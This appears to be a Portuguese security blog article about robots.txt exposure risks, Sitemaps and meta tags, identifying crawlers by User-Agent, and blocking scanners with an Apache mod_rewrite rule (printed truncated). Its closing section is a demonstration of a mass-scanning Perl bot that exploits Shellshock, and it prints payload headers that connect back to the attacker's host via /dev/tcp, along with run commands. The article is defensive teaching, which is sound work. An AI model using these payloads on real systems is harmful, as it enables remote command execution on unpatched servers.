Esse artigo pretende falar sobre os cuidados que devemos ter em relação ao arquivo robots.txt. Porém antes de iniciarmos, vale a pena uma introdução sobre o funcionamento de um robô e a estrutura do arquivo robots.txt.

Web Robot: De acordo com a definição da Wikipedia em [1], Web Robot é um programa de computador que faz uma varredura automática pela Internet por páginas com a finalidade de indexar, validar e monitorar alterações de conteúdo em documentos. Esses programas podem ser utilizados de várias formas como por exemplo para efetuar testes em aplicações em relação a suas funcionalidades ou até mesmo para medir o seu nível de segurança. Alguns exemplos de Web Robots conhecidos são o GoogleBot[2] e o Alexa[3].

Robots.txt: Ainda de acordo com definição da Wikipedia encontrada também em [1] robots.txt é um arquivo em formato texto que funciona como uma espécie de filtro para os robôs dos motores de busca na Internet, permitindo ou não o acesso total ou em partes de um determinado site.

Segue abaixo um exemplo de arquivo robots.txt encontrado no site do Google[4]:

Apesar de empresas serias como o buscador da Microsoft Bing e Google respeitarem o arquivo robots.txt, algumas outras indexam o conteúdo assim mesmo.

Qual preocupação deve ser considerada em relação ao arquivo “robots.txt”?

Temos o seguinte exemplo: Um atacante obtém a senha de acesso da interface web de uma aplicação e não encontra a localização para efetuar o acesso, porém, por algum descuido, o caminho de acesso para a área administrativa foi colocado como desabilitado no arquivo robots.txt, proporcionando ao atacante o necessário para completar o acesso. Portanto, não é recomendado colocar informações confidenciais no arquivo, como no caso do exemplo, páginas de autenticação, pois mesmo com a indexação desabilitada, caso o atacante tenha acesso ao arquivo robots.txt, o caminho acaba ficando em evidência para um possível ataque.

Quais outras recomendações devem ser adotadas?

A utilização de Sitemaps[5] que é uma funcionalidade baseada em whitelist é recomendada pois tem como característica dizer o que deve ser indexado. Com isso, o conteúdo adicionado deve aparecer e o que não estiver na lista deve ser descartado.

Outra recomendação deve ser a utilização de Meta tags[6], que tem um funcionamento similar ao arquivo robots.txt com o diferencial de cada página utilizar uma meta tag ao invés de um arquivo único padrão. Para visualização das meta tags, o código-fonte da página deve ser visualizado, como por exemplo:

<meta name="robots" content="NOINDEX, NOFOLLOW">

O que significa dizer aos robôs de busca que a página não deve ser indexada e que não devem ser procurados outros links na mesma. Existem também algumas tags específicas que servem para permitir a indexação do site, como por exemplo:

<meta name="robots" content="INDEX, FOLLOW">

O “robots.txt” protege de todos os “Web Robots” ?
O arquivo robots.txt irá impedir robôs registrados e que aparentemente não são maliciosos(em teoria, eles obedecem o arquivo) em acessar as páginas que não vão ser indexadas em mecanismos de busca de acordo com as regras do arquivo, minimizando um dos vetores de ataque. Porém robôs maliciosos e que são criados com a finalidade de atacar são como tubarões procurando sangue, logo são implacáveis, seguindo apenas o seu próprio instinto.

Como identificar um “Web Robot” ?

Além de poder identificar por endereço IP, outro campo que serve como identificação é o User-Agent[7] que é o protocolo de transferência de hipertexto(HTTP) identificando o software do cliente que originou a solicitação (Request) usando um cabeçalho que tem o mesmo nome e que possuí dados do cliente, como por exemplo, o nome e a versão do navegador:

Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0

Dependendo do propósito, o User-Agent é registrado em um servidor de controle com o intuito de ajudar os administradores de sistemas a identificar um robô, sendo na maioria das vezes utilizado para a criação de whitelists, definindo assim uma lista de robôs que terão ou não acesso dependendo do contexto. É possível também a criação de uma blacklist contendo alguns User-Agent sem registro com a finalidade de descartar robôs que não respeitam o arquivo robots.txt.

Alguns sites que mantém esse tipo de registro para consulta são o useragentstring[8] e o iplists[9].

Algumas ferramentas para testes de segurança em aplicações web como o Nikito[10], e automações em geral como o httrack[11] também fazem uso do User-Agent, sendo possível a identificação e a negação desse tipo de acesso, porém, vale lembrar que um User-Agent pode ser modificado caso o atacante tenha experiência.

Bloqueando um Web Robot utilizando o módulo do apache mod_rewrite

Podemos utilizar o mod_rewrite no servidor Apache para bloquear um possível robô malicioso. Para isso, será utilizado o exemplo de diretiva que segue abaixo:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(HTTrack|arachni|nikto|w3af|).* [NC,OR]
RewriteCond%{HTTP_USER_AGENT}

Caso isso provoque uma lentidão no servidor HTTP devido ao grande número de requisições, é possível utilizar algumas alternativas como por exemplo, escrever um módulo para o HTTPD ou até mesmo utilizar um proxy, desde que não seja utilizado Expressões Regulares[12] devido a problemas de performance já conhecidos e que podem ser prejudiciais no desempenho.

Foi ilustrado aqui apenas uma forma de mitigação de ataque feito por um “Web Robot”. Existem diversas outras formas de se mitigar esse tipo de ataque, como por exemplo, colocar o IP do atacante numa blacklist, porém, toda a forma de proteção que tenha a finalidade aumentar a proteção e consequentemente dificultar o caminho do atacante deve ser considerada.

Exemplo de “Web Robot” para explorar Shellshock

Agora que a teoria sobre Web Robots e a estrutura do arquivo robots.txt foi dada, será demonstrado aqui um exemplo de um Web Robot desenvolvido em Perl que é mal intencionado e explora uma falha conhecida como Shellshock[13].

O Web Robot de exemplo faz uma busca no Bing de forma recursiva que é limitada por alvos. Em cada alvo ele tenta explorar o Shellshock que foi uma vulnerabilidade descoberta em setembro deste ano (2014) e que afeta diretamente o BASH (Bourne Again Shell)[14] em sistemas UNIX e que tem sido explorada deliberadamente em serviços HTTP, o que é decorrente de um problema com CGI[15] que utiliza variáveis de ambiente (User-Agent, Cookies), mais alguns detalhes sobre o bug podem ser encontrados em [16] e [17]. Esse foi um fator fundamental para essa vulnerabilidade ser escolhida nessa demonstração, pois essa vulnerabilidade é altamente crítica, podendo permitir a execução de comandos remotos na máquina da vítima, inclusive tendo um impacto tão interessante quanto a vulnerabilidade conhecida como Heartbleed[18].

Para exemplificar através de códigos, foi desenvolvido um Web Robot em Perl sem alguns recursos que poderiam ser implementados mas que no caso de exemplo não fazem falta (caso o leitor ache interessante, fica a implementação desses items como desafio) como proxy randômico e User-Agent randômico com o intuíto de demonstrar como uma pessoa mal intencionada pode desenvolver um Web Robot de forma simples e rápida.

O Web Robot pode ser encontrado na seguinte URL:

https://github.com/CoolerVoid/shellshock_study_bot

Dissecando um pouco o código, o payload utilizado para explorar a vulnerabilidade Shellshock conforme comentado anteriormente utiliza o protocolo HTTP, passando via parâmetros de “headers” conforme exemplo dado na linha 78 do código, onde foi utilizado um hash table para escrever o payload que explora a vulnerabilidade Shellshock através da utilização dos campos User-Agent e Cookies:

my @payload_headers = (
‘User-Agent’=>”() { :;}; echo “1” > /dev/tcp/$home/51038 “,
‘Cookie’=>”() { :;}; echo “1” > /dev/tcp/$home/51038 “,
‘Accept’=>’image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,image/png, */*’,
‘Accept-Charset’=>’iso-8859-1’,
‘Accept-Language’=>’en-US’,
);

No exemplo dado, depois do trigger que chama o bash usamos “echo 1 > /dev/tcp/$home/51038“, ou seja para enviar para máquina onde está o servidor algum sinal de vida, e com isso também é obtido o IP da máquina vulnerável. Existem outras formas, como por exemplo, utilizar o envio de um mail com a intenção de se adquirir o endereço da máquina vulnerável, porém, esse é um processo bem difícil de ser executado por um atacante, pois ele poderia ser facilmente descoberto, provavelmente o atacante tentaria utilizar um outro indivíduo, ou talvez enviaria usando o Curl um POST para uma web shell, conseguindo assim obter o endereço da máquina.

Para testar o Web Robot:

$ perl jiraia_bot.pl “cgi-bin/page” ip_server

Lembrando que ip_server seria o argumento referente ao endereço do servidor que está em escuta, ou seja esse programa ira listar os servidores vulneráveis ao Shellshock:

$ perl listening_tcp.pl

Bom a essa altura do campeonato, a falha já foi muito explorada (talvez não em outros serviços como SMTP) e já teve alguns patches criados, com isso, muitos administradores de sistema já conseguem dormir sem pensar nesse problema. A intenção desse exemplo foi demonstrar como funciona dentro da mente de um atacante (adepto de ataque em massa), claro que no ponto de vista a uma falha específica, nesse caso, o Shellshock. Agora imagine milhares de bots procurando SQL Injection ou qualquer tipo de vulnerabilidade? Esse é um fator possível e a perspectiva de sucesso é alta, portanto é necessário estar sempre atento.

Para finalizar, um pensamento famoso de Sun Tzu: